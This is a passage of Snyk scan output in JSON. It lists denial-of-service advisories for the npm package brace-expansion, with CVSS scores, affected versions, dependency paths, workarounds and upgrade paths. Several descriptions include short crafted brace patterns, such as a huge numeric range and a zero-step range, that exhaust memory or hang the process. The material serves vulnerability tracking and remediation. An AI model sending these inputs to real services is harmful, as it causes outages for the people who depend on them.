"minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", 